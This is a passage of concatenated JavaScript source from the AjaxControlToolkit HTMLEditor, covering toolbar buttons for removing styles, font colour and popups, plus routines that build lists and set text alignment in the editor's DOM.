                                    }
                                    el=elSibling;
                                }

                                if(par.childNodes.length==0) {
                                    delete par;
                                    par=null;
                                } else if(par.childNodes.length==1 && par.firstChild.nodeType==3 && (""+par.firstChild.data+"").length==0) {
                                    delete par;
                                    par=null;
                                } else {
                                    if(AjaxControlToolkit.HTMLEditor.isStyleTag(par.tagName)) {
                                        var elNumber = par.childNodes.length;
                                        for(var cnt=0; cnt< par.childNodes.length; cnt++) {
                                            var inn = par.childNodes.item(cnt);
                                            if(inn.nodeType==1 && !AjaxControlToolkit.HTMLEditor.isStyleTag(inn.tagName)) elNumber--;
                                        }

                                        if(elNumber == 0) {
                                            var parr = [];
                                            while(par.firstChild) {
                                                var inn = par.removeChild(par.firstChild);
                                                parr.push(inn);
                                            }
                                            par = parr;
                                        }
                                    }
                                }

                                if(rpr==_fnd) 
                                    return par;
                                else
                                    return diver(par,before?rpr.previousSibling:rpr.nextSibling,rpr.parentNode,before);
                            };

                            _prn = el.parentNode;

                            if ( el.previousSibling == null && el.nextSibling == null &&
                                _prn && _prn.tagName && _prn.tagName.toUpperCase() != "BODY" && AjaxControlToolkit.HTMLEditor.isStyleTag(_prn.tagName) &&
                                AjaxControlToolkit.HTMLEditor.differAttr(_prn,["class","color","face","size"]).length > 0
                            )
                                el = _prn;


                            // create neibouring style tags for this Text node
                            var p1 = diver(null,el.previousSibling,el.parentNode,true );
                            var p2 = diver(null,el.nextSibling    ,el.parentNode,false);

                            var par    = _fnd.parentNode;
                            if(p1) {
                                if(p1.push && typeof p1.push == "function") {
                                    for(var iii=0; iii < p1.length; iii++) {
                                        par.insertBefore(p1[iii],_fnd);
                                    }
                                } else {
                                    par.insertBefore(p1,_fnd);
                                }

                                if(AjaxControlToolkit.HTMLEditor.isIE) {
                                    span1  = editor._doc.getElementById("_left_");
                                    span2 = editor._doc.getElementById("_right_");
                                }
                            }
                            par.insertBefore(el,_fnd);
                            if(p2) {
                                if(p2.push && typeof p2.push == "function") {
                                    for(var iii=0; iii < p2.length; iii++) {
                                        par.insertBefore(p2[iii],_fnd);
                                    }
                                } else {
                                    par.insertBefore(p2,_fnd);
                                }

                                if(AjaxControlToolkit.HTMLEditor.isIE) {
                                    span1  = editor._doc.getElementById("_left_");
                                    span2 = editor._doc.getElementById("_right_");
                                }
                            }
                            par.removeChild (_fnd);
                        }
                    }
                }

                if(expanded) {
                    if(AjaxControlToolkit.HTMLEditor.isIE && editor.__saveBM__ != null) {
                        try {
                            var ppp = span1.parentNode;
                            ppp.removeChild(span1);
                            while(ppp && ppp.childNodes.length==0) {
                                ppp.parentNode.removeChild(ppp);
                                ppp = ppp.parentNode;
                            }

                            ppp = span2.parentNode;
                            ppp.removeChild(span2);
                            while(ppp && ppp.childNodes.length==0) {
                                ppp.parentNode.removeChild(ppp);
                                ppp = ppp.parentNode;
                            }
                            span1 = null;
                            span2 = null;
                        } catch(e){}

                        var sel   = editor._getSelection();
                        var range = editor._createRange(sel);
                        range.moveToBookmark(editor.__saveBM__);
                        range.select();
                        editor.__saveBM__ = null;
                    } else if(editor.__saveBM__ != null) {
                        if(editor.__saveBM__[0].nodeType==3) {
                            var sel   = editor._getSelection();
                            var range  = editor._doc.createRange();
                            range.setStart(editor.__saveBM__[0],editor.__saveBM__[1]);
                            range.setEnd  (editor.__saveBM__[0],editor.__saveBM__[1]);
                            editor._removeAllRanges(sel);
                            editor._selectRange(sel,range);
                        } else {
                            editor._trySelect(editor.__saveBM__[0],editor.__saveBM__[0]);
                            editor.__saveBM__[0].parentNode.removeChild(editor.__saveBM__[0]);
                        }
                        editor.__saveBM__ = null;
                    }
                } else if(!AjaxControlToolkit.HTMLEditor.isIE) {
                    rng = [];
                    var _found = false;

                    function _diver(_point,prize) {
                        while(_point) {
                            if(_point == span2) {
                                _found=true;
                                return;
                            }

                            if(_point.nodeType==3) {
                                while(_point.nextSibling && _point.nextSibling.nodeType==3) {
                                    _point.data= ""+_point.data+""+_point.nextSibling.data+"";
                                    _point.parentNode.removeChild(_point.nextSibling);
                                }
                                if(AjaxControlToolkit.HTMLEditor.Trim(""+_point.data+"").length>0) rng.push(_point);
                            } else
                                _diver(_point.firstChild,false);

                            if(_found) return;

                            var _save= _point.parentNode;

                            if(prize) {
                                while(_point && _point.nextSibling==null) {
                                    _point=_point.parentNode;
                                }
                            }

                            _point = _point.nextSibling;
                        }
                    }

                    _diver(span1,true);

                    range  = editor._doc.createRange();
                    range.setStart(rng[0],0);
                    range.setEnd  (rng[rng.length-1],(""+rng[rng.length-1].data+"").length);

                    editor._removeAllRanges(sel);
                    editor._selectRange(sel,range);
                } else {
                    try {
                        sel   = editor._getSelection();
                        var range1= editor._createRange(sel);
                        var range2= editor._createRange(sel);

                        range1.moveToElementText(span1);
                        range2.moveToElementText(span2);

                        range1.setEndPoint("EndToEnd", range2);
                        range1.select();
                    } catch(e){}
                }

                try {
                    var ppp;
                    if(span1 != null) {
                        ppp = span1.parentNode;
                        ppp.removeChild(span1);
                        while(ppp && ppp.childNodes.length==0) {
                            ppp.parentNode.removeChild(ppp);
                            ppp = ppp.parentNode;
                        }
                    }
                    if(span2 != null) {
                        ppp = span2.parentNode;
                        ppp.removeChild(span2);
                        while(ppp && ppp.childNodes.length==0) {
                            ppp.parentNode.removeChild(ppp);
                            ppp = ppp.parentNode;
                        }
                    }
                }
                catch(e){}
                editor.onContentChanged();
                editor._editPanel.updateToolbar();
            }
        },0);
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveStyles.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveStyles", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);
�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorSelector = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorSelector.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorSelector.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorSelector.callBaseMethod(this, "callMethod")) return false;
    },
    
    setColor : function(color) {
        AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorSelector.callBaseMethod(this, "setColor", [color]);
        this._designPanel._execCommand("forecolor", false, color);
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorSelector.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorSelector", AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector);

?Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton.initializeBase(this, [element]);

    this._relatedPopup = null;
    this._autoClose = true;
    this._forclose_onmousedown$delegate = null;
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton.prototype = {

    set_activeEditPanel: function(value) {
        if (this._editPanel != value && this._editPanel != null) {
            this.closePopup();
        }
        AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton.callBaseMethod(this, "set_activeEditPanel", [value]);
    },

    get_autoClose: function() {
        return this._autoClose;
    },
    set_autoClose: function(value) {
        this._autoClose = value;
    },

    get_relatedPopup: function() {
        return this._relatedPopup;
    },
    set_relatedPopup: function(value) {
        this._relatedPopup = value;
    },

    openPopup: function(callback, top, left) {
        if (this._autoClose && this._forclose_onmousedown$delegate != null) return;
        if (this._relatedPopup != null) {
            this._bookmark = null;
            if (AjaxControlToolkit.HTMLEditor.isIE) {
                var sel = this._designPanel._getSelection();
                this._selType = sel.type.toLowerCase();
                var range = this._designPanel._createRange(sel);
                if (this._selType == "text" || this._selType == "none") {
                    try {
                        this._bookmark = range.duplicate();
                    } catch (ex) { }
                }
                else if (this._selType == "control") {
                    this._bookmark = range.item(0);
                    range.remove(0);
                    sel.empty();
                }
            }

            if (typeof this._relatedPopup.set_relatedElement == "function") {
                this._relatedPopup.set_relatedElement(this.get_element());

                this._forclose_onmousedown$delegate = Function.createDelegate(this, this._forclose_onmousedown);
                if (this._autoClose) {
                    var designWindow = this._designPanel.get_element().contentWindow;
                    var designBody = designWindow.document.body;
                    var button = this;
                    setTimeout(function() {
                        if (button._forclose_onmousedown$delegate != null) {
                            AjaxControlToolkit.HTMLEditor._addEvent(designBody, "mousedown", button._forclose_onmousedown$delegate);
                            AjaxControlToolkit.HTMLEditor._addEvent(designBody, "keydown", button._forclose_onmousedown$delegate);
                            AjaxControlToolkit.HTMLEditor._addEvent(document.body, "keydown", button._forclose_onmousedown$delegate);
                            AjaxControlToolkit.HTMLEditor._addEvent(window, "keydown", button._forclose_onmousedown$delegate);
                            AjaxControlToolkit.HTMLEditor._addEvent(designWindow, "mousedown", button._forclose_onmousedown$delegate);
                            AjaxControlToolkit.HTMLEditor._addEvent(document.body, "mousedown", button._forclose_onmousedown$delegate);
                            if (document.documentElement) {
                                AjaxControlToolkit.HTMLEditor._addEvent(document.documentElement, "mousedown", button._forclose_onmousedown$delegate);
                            }
                        }
                    }, 0);
                }
                this._relatedPopup.open(callback);
            } else {
                this._relatedPopup.open(callback, top, left);
            }
        }
    },

    _forclose_onmousedown: function(e) {
        if (this._forclose_onmousedown$delegate == null) return true;

        if (this._relatedPopup.isOpened) {
            this._relatedPopup.close();
        } else {
            return true;
        }

        if (this._editPanel == AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel) {
            try { // for the case if currently the Design panel is invisible
                if (this._bookmark) {
                    if (AjaxControlToolkit.HTMLEditor.isIE) {
                        var range;
                        if (this._selType == "control") {
                            range = this._designPanel._doc.body.createControlRange();
                            range.add(this._bookmark);
                        } else {
                            range = this._bookmark;
                        }
                        range.select();
                    }
                    this._bookmark = null;
                }

                if (!AjaxControlToolkit.HTMLEditor.isIE) {
                    var sel = this._designPanel._getSelection();
                    var range = this._designPanel._createRange(sel);

                    this._designPanel._removeAllRanges(sel);

                    this._designPanel._selectRange(sel, range);
                    this._designPanel.focusEditor();
                }
            } catch (ex) { }
        }

        var button = this;
        setTimeout(function() {
            if (button._editPanel == AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel) {
                try { button._editPanel.updateToolbar(); } catch (ex) { }
            }
        }, 0);

        if (this._autoClose) {
            try {
                var designWindow = this._designPanel.get_element().contentWindow;
                var designBody = designWindow.document.body;

                if (document.documentElement) {
                    AjaxControlToolkit.HTMLEditor._removeEvent(document.documentElement, "mousedown", this._forclose_onmousedown$delegate);
                }
                AjaxControlToolkit.HTMLEditor._removeEvent(designBody, "keydown", this._forclose_onmousedown$delegate);
                AjaxControlToolkit.HTMLEditor._removeEvent(document.body, "keydown", this._forclose_onmousedown$delegate);
                AjaxControlToolkit.HTMLEditor._removeEvent(window, "keydown", this._forclose_onmousedown$delegate);
                AjaxControlToolkit.HTMLEditor._removeEvent(designBody, "mousedown", this._forclose_onmousedown$delegate);
                AjaxControlToolkit.HTMLEditor._removeEvent(designWindow, "mousedown", this._forclose_onmousedown$delegate);
                AjaxControlToolkit.HTMLEditor._removeEvent(document.body, "mousedown", this._forclose_onmousedown$delegate);
            } catch (ex) { }
        }
        this._forclose_onmousedown$delegate = null;
        if (e && e.type) {
            if (e.type == "keydown") {
                AjaxControlToolkit.HTMLEditor._stopEvent(e);
                return false;
            }
        }
        return true;
    },

    closePopup: function() {
        if (this._forclose_onmousedown$delegate != null) {
            this._forclose_onmousedown$delegate(null);
        }
    },

    dispose: function() {
        if (this._forclose_onmousedown$delegate != null) {
            this._forclose_onmousedown$delegate(null);
        }
        AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton.callBaseMethod(this, "dispose");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);
Type.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");

AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton = function(element) {
    AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton.initializeBase(this, [element]);

    this._designPanel = null;
}

AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton.prototype = {
}

AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton.registerClass("AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton", AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton);

/>AjaxControlToolkit.HTMLEditor.MSIE_list = function(listTg) {
    var paragraphs          = this.get_paragraphs();
    var pars                = this.getSelectionAfterOperation(paragraphs);
    var currentParent       = null;
    var collectedParagraphs = [];
    var editor              = this;
    var commonList          = null;
    var commonListItems     = [];
    var listTag             = listTg.toUpperCase();
    var needJoiner          = false;

    function operateList() {
        if(commonList != null) {
            var newList;

            newList = commonList.cloneNode(false);
            commonList.parentNode.insertBefore(newList,commonList);
            while(commonList.firstChild != commonListItems[0]) newList.appendChild(commonList.firstChild);

            if(newList.firstChild==null) newList.parentNode.removeChild(newList);

            if(commonList.tagName.toUpperCase() == listTag) {
                for(var i=0; i < commonListItems.length; i++) {
                    var element = commonListItems[i];
                    if(element.nodeType==1 && element.tagName && element.tagName.toUpperCase()=="LI") {
                        var good = false;
                        commonList.parentNode.insertBefore(element,commonList);

                        if(element.style.textAlign=="") element.style.textAlign = commonList.style.textAlign;

                        if(commonList.childNodes.length==0 && i == commonListItems.length-1) {
                            commonList.parentNode.removeChild(commonList);
                            commonList = null;
                        }

                        if(element.style.textAlign=="" || (element.style.textAlign.toLowerCase()=="left" && !editor.rtlState()) || (element.style.textAlign.toLowerCase()=="right" && editor.rtlState())) {
                            good = editor.tryUnWrap(element,pars);
                            if(good) needJoiner=true;
                        }

                        if(!good) {
                            var newP  = editor._doc.createElement(editor.dfltBlockElement);
                            var attrs = element.attributes;

                            for (var ik = 0; ik < attrs.length; ++ik) {
                                var a = attrs.item(ik);
                                if (!a.specified) continue;
                                if (a.name.toLowerCase()=="style") continue;
                                newP.setAttribute(a.name,a.value);
                            }

                            newP.style.cssText = element.style.cssText;
                            if(newP.tagName.toUpperCase()=="P") newP.style.margin  = "0px";

                            while(element.firstChild) newP.appendChild(element.firstChild);

                            element.parentNode.insertBefore(newP,element);
                            element.parentNode.removeChild(element);
                        }
                    }
                    else
                        commonList.parentNode.insertBefore(element,commonList);
                }
            } else {
                var newList = editor._doc.createElement(listTag);
                var attrs   = commonList.attributes;

                for (var ik = 0; ik < attrs.length; ++ik) {
                    var a = attrs.item(ik);
                    if (!a.specified) continue;
                    if (a.name.toLowerCase()=="style") continue;
                    newList.setAttribute(a.name,a.value);
                }
                newList.style.cssText = commonList.style.cssText;

                commonList.parentNode.insertBefore(newList,commonList);

                for(var i=0; i < commonListItems.length; i++) {
                    var element = commonListItems[i];
                    newList.appendChild(element);
                }
            }

            if(commonList != null) {
                newList = commonList.cloneNode(false);
                commonList.parentNode.insertBefore(newList,commonList);
                while(commonList.firstChild) newList.appendChild(commonList.firstChild);

                if(newList.firstChild==null) newList.parentNode.removeChild(newList);

                commonList.parentNode.removeChild(commonList);
            }
        }
        commonList          = null;
        commonListItems     = [];
    }

    function operateCollectedParagraphs() {
        var firstChild = currentParent.firstChild;
        var lastChild  = currentParent.lastChild;
        var parTagName = currentParent.tagName.toUpperCase();

        if( // if all paragraps(only) are in one parent already
            !AjaxControlToolkit.HTMLEditor.isInlineElement(currentParent) &&
            collectedParagraphs[0][0] == firstChild &&
            collectedParagraphs[collectedParagraphs.length-1][collectedParagraphs[collectedParagraphs.length-1].length-1] == lastChild &&
            (parTagName=="OL" || parTagName=="UL" || parTagName=="DL" || parTagName=="LI" || 
            ((parTagName=="P" || parTagName=="DIV"  || AjaxControlToolkit.HTMLEditor.isHeader(currentParent)) && parTagName=="LI")
            )
        ) {
            operateList();
            commonListItems = [];

            if (parTagName == "LI") {
                commonList = currentParent.parentNode;
                commonListItems.push(currentParent);
            }
            else if(parTagName=="P" || parTagName=="DIV" || AjaxControlToolkit.HTMLEditor.isHeader(currentParent)) {
                commonList = currentParent.parentNode.parentNode;
                commonListItems.push(currentParent.parentNode);
            } else {
                commonList = currentParent;

                for(var i=0; i < collectedParagraphs.length; i++) {
                    var paragraph = collectedParagraphs[i];

                    for(var j=0; j < paragraph.length; j++) {
                        commonListItems.push(paragraph[j]);
                    }
                }
            }
            operateList();
        } else {
            if(parTagName=="LI" && (collectedParagraphs.length < paragraphs.length)) {
                if(commonList != currentParent.parentNode) {
                    operateList();
                    commonList      = currentParent.parentNode;
                    commonListItems = [];
                }
                commonListItems.push(currentParent);
            } else if(parTagName=="OL" || parTagName=="UL" || parTagName=="DL") {
                operateList();
                commonList      = currentParent;
                commonListItems = [];

                for(var i=0; i < collectedParagraphs.length; i++) {
                    var paragraph = collectedParagraphs[i];

                    for(var j=0; j < paragraph.length; j++) {
                        commonListItems.push(paragraph[j]);
                    }
                }
                operateList();
            } else {
                var li   = null;
                var list = null;

                function completeLi() {
                    if(li != null)
                    if(li.childNodes==1 && (li.firstChild==pars[0] || li.firstChild==pars[1])) {
                        li.parentNode.insertBefore(li.firstChild, li);
                        li.parentNode.removeChild(li);
                    }
                    li = null;
                }

                if(commonList != null) {
                    operateList();
                }
                
                var colTagName = "";
                if (collectedParagraphs.length==1 && collectedParagraphs[0].length==1 && collectedParagraphs[0][0].nodeType==1 && collectedParagraphs[0][0].tagName) {
                    colTagName = collectedParagraphs[0][0].tagName.toUpperCase();
                }

                if (colTagName=="OL" || colTagName=="UL" || colTagName=="DL") {
                    var element = collectedParagraphs[0][0];
                    commonList      = element;
                    commonListItems = [];
                    for(var i=0; i < element.childNodes.length; i++) {
                        var el = element.childNodes.item(i);
                        commonListItems.push(el);
                    }
                    operateList();
                } else {
                    for(var i=0; i < collectedParagraphs.length; i++) {
                        var paragraph = collectedParagraphs[i];

                        for(var j=0; j < paragraph.length; j++) {
                            var element = paragraph[j];
                            var elTagName = (element.tagName)?element.tagName.toUpperCase():"";
                            if(list == null) {
                                list = editor._doc.createElement(listTag);
                                element.parentNode.insertBefore(list,element);
                            }

                            if(!AjaxControlToolkit.HTMLEditor.isInlineElement(element) && elTagName != "BR") {
                                if(li && li.firstChild) completeLi();

                                if(li == null) {
                                    li = editor._doc.createElement("LI");
                                    list.appendChild(li);
                                }

                                li.appendChild(element);
                                completeLi();
                            } else {
                                if (li == null) {
                                    li = editor._doc.createElement("LI");
                                    list.appendChild(li);
                                }

                                var actualLength = (paragraph[paragraph.length-1]==pars[1])?paragraph.length-1:paragraph.length;
                                var actualStart  = (paragraph[0]==pars[0])?1:0;

                                if(elTagName == "BR" && j == actualLength-1 && j==actualStart) {
                                    if(AjaxControlToolkit.HTMLEditor.isIE) {
                                        li.appendChild(editor._doc.createTextNode(String.fromCharCode(160)));
                                        element.parentNode.removeChild(element);
                                    }
                                    else
                                        li.appendChild(element);
                                } else
                                    if(elTagName == "BR" && j == actualLength-1 && j>actualStart)
                                        element.parentNode.removeChild(element);
                                    else
                                        li.appendChild(element);

                                if(elTagName == "BR" && j == paragraph.length-1) {
                                    completeLi();
                                    li = null;
                                }

                                if(element == pars[1] && j == paragraph.length-1) {
                                    completeLi();
                                    li = null;
                                }
                            }
                        }
                        if(li && li.firstChild) completeLi();
                    }
                }

                if(list != null) {
                    var aligns = [];
                    for(var j=0; j < list.childNodes.length; j++) aligns.push(list.childNodes.item(j).style.textAlign);

                    var jj=1;
                    for(; jj < aligns.length; jj++)
                        if(aligns[jj-1] != aligns[jj]) break;

                    if(jj==aligns.length) {
                        var align = ((aligns[0]=="left" && !editor.rtlState()) || (aligns[0]=="right" && editor.rtlState()))?"":aligns[0];
                        for(var j=0; j < list.childNodes.length; j++) list.childNodes.item(j).style.textAlign = "";

                        list.style.textAlign = align;
                    }
                }

                if(list != null)
                if(list.parentNode.tagName.toUpperCase() == "P" && list.parentNode.childNodes.length == 1) {
                    var pp = list.parentNode;
                    var clone = pp.cloneNode(false);
                    pp.parentNode.insertBefore(list,pp);
                    pp.parentNode.removeChild(pp);

                    if(list.childNodes.length==1) {
                        var item = list.firstChild;

                        while(item.firstChild) clone.appendChild(item.firstChild);
                        item.appendChild(clone);
                    } else
                        delete clone;
                }
            }
        }
    }

    for(var i=0; i < paragraphs.length; i++) {
        var paragraph = paragraphs[i];

        if(paragraph.length > 0) {
            if(paragraph[0].parentNode != currentParent) { // start new collection of paragraps
                if(collectedParagraphs.length > 0)
                    operateCollectedParagraphs();

                collectedParagraphs = [];
                currentParent = paragraph[0].parentNode;
            }

            collectedParagraphs.push(paragraph);
        }
    }

    if(collectedParagraphs.length > 0)
        operateCollectedParagraphs();

    if(commonList != null) {
        operateList();
    }

    this.setSelectionAfterOperation(pars, needJoiner);
};

AjaxControlToolkit.HTMLEditor.MSIE_justify = function(textAlign, addParameter, addParameter1) {
    var paragraphs          = this.get_paragraphs();
    var pars                = this.getSelectionAfterOperation(paragraphs);
    var currentParent       = null;
    var collectedParagraphs = [];
    var editor              = this;
    var force               = (typeof addParameter  != "undefined" && addParameter )?true:false;
    var remainP             = (typeof addParameter1 == "string")?true:false;
    var pTag                = (typeof addParameter1 == "string")?addParameter1:"";
    var needJoiner          = false;

    function completeDiv(div){
        if(div != null)
        if(div.childNodes==1 && (div.firstChild==pars[0] || div.firstChild==pars[1])) {
            div.parentNode.insertBefore(div.firstChild, div);
            div.parentNode.removeChild(div);
        }
    }

    function operateCollectedParagraphs()
    {
        var firstChild = currentParent.firstChild;
        var lastChild  = currentParent.lastChild;
        var single = false;
        var curTagName;
        if( currentParent.tagName && !AjaxControlToolkit.HTMLEditor.isInlineElement(currentParent) &&
            collectedParagraphs[0][0] == firstChild &&
            collectedParagraphs[collectedParagraphs.length-1][collectedParagraphs[collectedParagraphs.length-1].length-1] == lastChild
        ) {
            curTagName = currentParent.tagName.toUpperCase();
            if (curTagName != "TD" && curTagName != "TH" && curTagName != "FIELDSET" && curTagName != "LEGEND") {
                single = true;
            }
        }
        
        if(single) { // if all paragraps(them only) are in one parent already
            var align = "";

            if(currentParent.getAttribute("align") && currentParent.getAttribute("align").length > 0)
                align = currentParent.getAttribute("align");

            if(currentParent.align && currentParent.align.length > 0)
                align = currentParent.align;

            if(currentParent.style.textAlign && currentParent.style.textAlign.length > 0)
                align = currentParent.style.textAlign;

            currentParent.align = "";
            currentParent.setAttribute("align", "");
            currentParent.removeAttribute("align");

            // can we remove parent element?
            if((curTagName == "DIV" || curTagName == "P" || AjaxControlToolkit.HTMLEditor.isHeader(currentParent)) && textAlign == "left" && force ) {
                if(editor.tryUnWrap(currentParent,pars,force)) needJoiner=true;
            } else {
                if(textAlign != "remain") {
                    if(!(textAlign == "left" && force) || (curTagName=="LI" && currentParent.parentNode.style.textAlign.length>0 ))
                        currentParent.style.textAlign = textAlign;
                    else
                        currentParent.style.textAlign = "";
                }

                if(force) currentParent.style.margin = (curTagName=="P")?"0px":"";

                if(curTagName=="LI") {
                    var list = currentParent.parentNode;
                    var aligns = [];
                    for(var jn=0; jn < list.childNodes.length; jn++)
                        if(list.childNodes.item(jn).nodeType==1)
                            aligns.push(list.childNodes.item(jn).style.textAlign);

                    var jj=1;
                    for(; jj < aligns.length; jj++)
                        if(aligns[jj-1] != aligns[jj]) break;

                    if(jj==aligns.length) {
                        var align = (aligns[0]=="left" && force)?"":aligns[0];
                        for(var j=0; j < list.childNodes.length; j++)
                            if(list.childNodes.item(j).nodeType==1) {
                                list.childNodes.item(j).style.textAlign = "";
                                if(force) list.childNodes.item(j).style.margin = (list.childNodes.item(j).tagName.toUpperCase()=="P")?"0px":"";
                            }

                        list.style.textAlign = align;
                    }
                }

                if((curTagName == "DIV" || curTagName == "P" || AjaxControlToolkit.HTMLEditor.isHeader(currentParent))
                    && remainP && pTag.toUpperCase() != curTagName) {
                    var nEl = editor._doc.createElement(pTag);

                    var attrs = currentParent.attributes;

                    for (var k = 0; k < attrs.length; ++k) {
                        var a = attrs.item(k);
                        if (!a.specified) continue;
                        if (a.name.toLowerCase()=="style") continue;
                        nEl.setAttribute(a.name,a.value);
                    }

                    nEl.style.cssText = currentParent.style.cssText;

                    while(currentParent.firstChild) nEl.appendChild(currentParent.firstChild);
                    currentParent.parentNode.insertBefore(nEl,currentParent);
                    currentParent.parentNode.removeChild(currentParent);
                }
            }
        } else {
            var div = null;
            for(var i=0; i < collectedParagraphs.length ; i++) {
                if(!remainP) div = null;
                var paragraph = collectedParagraphs[i];
                for(var j=0; j < paragraph.length; j++) {
                    var element = paragraph[j];
                    var elementTagName = (element.nodeType == 1 && element.tagName)?element.tagName.toUpperCase():null;

                    if( elementTagName != null &&
                       (elementTagName == "UL" || elementTagName == "OL"  ||
                        elementTagName == "DL" || elementTagName == "DIV" || AjaxControlToolkit.HTMLEditor.isHeader(element) ||
                        elementTagName == "P"  || elementTagName == "LI"  || elementTagName == "TABLE"
                       )
                    ) {
                        completeDiv(div);
                        div = null;
                        if(textAlign != "remain")
                        if(elementTagName!="TABLE" && !force)
                            element.style.textAlign = textAlign;

                        if(force) element.style.margin = (elementTagName=="P")?"0px":"";

                        if (elementTagName == "UL" || elementTagName == "OL" || elementTagName == "DL") {
                            for(var jk=0; jk < element.childNodes.length; jk++) {
                                var li = element.childNodes.item(jk);
                                if(li.nodeType==1) {
                                    li.style.textAlign = "";
                                    if(force) li.style.margin = (li.tagName.toUpperCase()=="P")?"0px":"";

                                    for(var kk=0; kk < li.childNodes.length; kk++) {
                                        var child = li.childNodes.item(kk);
                                        if(child.nodeType==1 && child.tagName) {
                                            var childTagName = child.tagName.toUpperCase();
                                            if(force) child.style.margin = (childTagName=="P")?"0px":"";

                                            if(childTagName == "DIV" || childTagName == "P" || AjaxControlToolkit.HTMLEditor.isHeader(child))  {
                                                if(editor.tryUnWrap(child,pars,force)) needJoiner=true;
                                            }
                                        }
                                    }
                                }
                            }

                            if(textAlign == "left" && force) element.style.textAlign = "";

                            continue;
                        } else if(elementTagName=="LI") {
                            if(textAlign != "remain") {
                                if(!(textAlign == "left" && force) || element.parentNode.style.textAlign.length>0 )
                                    element.style.textAlign = textAlign;
                                else
                                    element.style.textAlign = "";
                            }

                            if(force) element.style.margin = (elementTagName=="P")?"0px":"";
                            var list = element.parentNode;
                            var aligns = [];
                            for(var jn=0; jn < list.childNodes.length; jn++)
                                if(list.childNodes.item(jn).nodeType==1)
                                    aligns.push(list.childNodes.item(jn).style.textAlign);

                            var jj=1;
                            for(; jj < aligns.length; jj++)
                                if(aligns[jj-1] != aligns[jj]) break;

                            if(jj==aligns.length) {
                                var align = (aligns[0]=="left" && force)?"":aligns[0];
                                for(var j=0; j < list.childNodes.length; j++)
                                    if(list.childNodes.item(j).nodeType==1) {
                                        list.childNodes.item(j).style.textAlign = "";
                                        if(force) list.childNodes.item(j).style.margin = (list.childNodes.item(j).tagName.toUpperCase()=="P")?"0px":"";
                                    }

                                list.style.textAlign = align;
                            }

                            continue;
                        } else if(elementTagName=="TABLE") {
                            if(textAlign != "remain") {
                                if(!(textAlign == "left" && force) )
                                    element.align = textAlign;
                                else {
                                    element.align = "";
                                    element.removeAttribute("align");
                                }
                            }
                        }

                        // can we remove DIV or P ?
                        if((elementTagName == "DIV" || elementTagName == "P" || AjaxControlToolkit.HTMLEditor.isHeader(element)) && textAlign == "left" && force) {
                            if(editor.tryUnWrap(element,pars,force)) needJoiner=true;
                        }

                        if((elementTagName == "DIV" || elementTagName == "P" || AjaxControlToolkit.HTMLEditor.isHeader(element))
                            && remainP && pTag.toUpperCase() != elementTagName) {
                            var nEl = editor._doc.createElement(pTag);

                            var attrs = element.attributes;

                            for (var k = 0; k < attrs.length; ++k) {
                                var a = attrs.item(k);
                                if (!a.specified) continue;
                                if (a.name.toLowerCase()=="style") continue;
                                nEl.setAttribute(a.name,a.value);
                            }

                            nEl.style.cssText = element.style.cssText;

                            while(element.firstChild) nEl.appendChild(element.firstChild);
                            element.parentNode.insertBefore(nEl,element);
                            element.parentNode.removeChild(element);
                        }
                    } else {
                        if(!(textAlign == "left" && force) || remainP) {
                            if(div == null) {
                                div = editor._doc.createElement(remainP?pTag:editor.dfltBlockElement);
                                if(editor.dfltBlockElement.toUpperCase()=="P" && !remainP) div.style.margin  = "0px";
                                if(!remainP)div.style.textAlign = textAlign;
                                element.parentNode.insertBefore(div,element);
                            }

                            var actualLength = (paragraph[paragraph.length-1]==pars[1])?paragraph.length-1:paragraph.length;
                            var actualStart  = (paragraph[0]==pars[0])?1:0;

                            if(elementTagName == "BR" && j == actualLength-1 && j==actualStart) {
                                if(AjaxControlToolkit.HTMLEditor.isIE) {
                                    div.appendChild(editor._doc.createTextNode(String.fromCharCode(160)));
                                    element.parentNode.removeChild(element);
                                } else
                                    div.appendChild(element);
                            } else
                                if(elementTagName == "BR" && j == actualLength-1 && j>actualStart && (!remainP || (element.nextSibling != null && element.nextSibling==pars[1])))
                                    element.parentNode.removeChild(element);
                                else
                                    div.appendChild(element);

                            if(elementTagName == "BR" && j == paragraph.length-1 && !remainP) {
                                completeDiv(div);
                                div = null;
                            }

                            if(element == pars[1] && j == paragraph.length-1) {
                                completeDiv(div);
                                div = null;
                            }
                        }
                    }
                }
            }
        }
    }

    for(var i=0; i < paragraphs.length; i++) {
        var paragraph = paragraphs[i];

        if(paragraph.length > 0)  {
            if(paragraph[0].parentNode != currentParent) { // start new collection of paragraps
                if(collectedParagraphs.length > 0)
                    operateCollectedParagraphs();

                collectedParagraphs = [];
                currentParent = paragraph[0].parentNode;
            }

            collectedParagraphs.push(paragraph);
        }
    }

    if(collectedParagraphs.length > 0)
